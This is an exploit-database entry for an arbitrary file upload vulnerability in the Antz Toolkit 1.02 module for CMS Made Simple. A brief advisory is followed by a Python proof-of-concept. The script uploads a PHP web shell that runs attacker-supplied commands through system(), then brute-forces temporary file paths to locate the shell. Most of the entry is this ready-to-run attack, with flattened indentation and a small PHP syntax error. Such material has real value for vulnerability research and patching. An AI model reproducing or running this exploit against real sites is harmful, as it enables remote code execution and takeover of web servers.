CMS Made Simple Module Antz Toolkit 1.02 – Arbitrary File Upload

  • 作者: John Leitch
    日期: 2010-07-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/34300/
  • source: https://www.securityfocus.com/bid/41569/info
    
    The Antz toolkit module for CMS Made Simple is prone to a vulnerability that lets attackers upload arbitrary files because the application fails to adequately sanitize user-supplied input.
    
    An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
    
    Antz toolkit 1.02 is vulnerable; other versions may also be affected. 
    
    import socket
    
    host = 'localhost'
    path = '/cmsms'
    port = 80
    
    def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)
    
    s.send('POST ' + path + '/include.php HTTP/1.1\r\n'
     'Host: localhost\r\n'
     'Proxy-Connection: keep-alive\r\n'
     'User-Agent: x\r\n'
     'Content-Length: 257\r\n'
     'Cache-Control: max-age=0\r\n'
     'Origin: null\r\n'
     'Content-Type: multipart/form-data; boundary=----x\r\n'
     'Accept: text/html\r\n'
     'Accept-Encoding: gzip,deflate,sdch\r\n'
     'Accept-Language: en-US,en;q=0.8\r\n'
     'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
     '\r\n'
     '------x\r\n'
     'Content-Disposition: form-data; name="antzSeed"\r\n'
     '\r\n'
     '\r\n'
     '------x\r\n'
     'Content-Disposition: form-data; name="shell_file"; filename="shell.php"\r\n'
     'Content-Type: application/octet-stream\r\n'
     '\r\n'
     '<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'
     '------x--\r\n'
     '\r\n')
    
    resp = s.recv(8192)
    
    s.close()
    
    http_ok = 'HTTP/1.1 200 OK'
    
    if http_ok not in resp[:len(http_ok)]:
    print 'error uploading shell'
    return
    else: print 'shell uploaded'
    
    print 'searching for shell'
    
    for i in range(0, 9999):
    
    shell_path = path + '/modules/antz/tmp/' + str(i) + 'shell.php'
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8) 
    
    s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
     'Host: ' + host + '\r\n\r\n')
    
    if http_ok in s.recv(8192)[:len(http_ok)]:
    print '\r\nshell located at http://' + host + shell_path
    break
    else:
    print '.',
    
    upload_shell()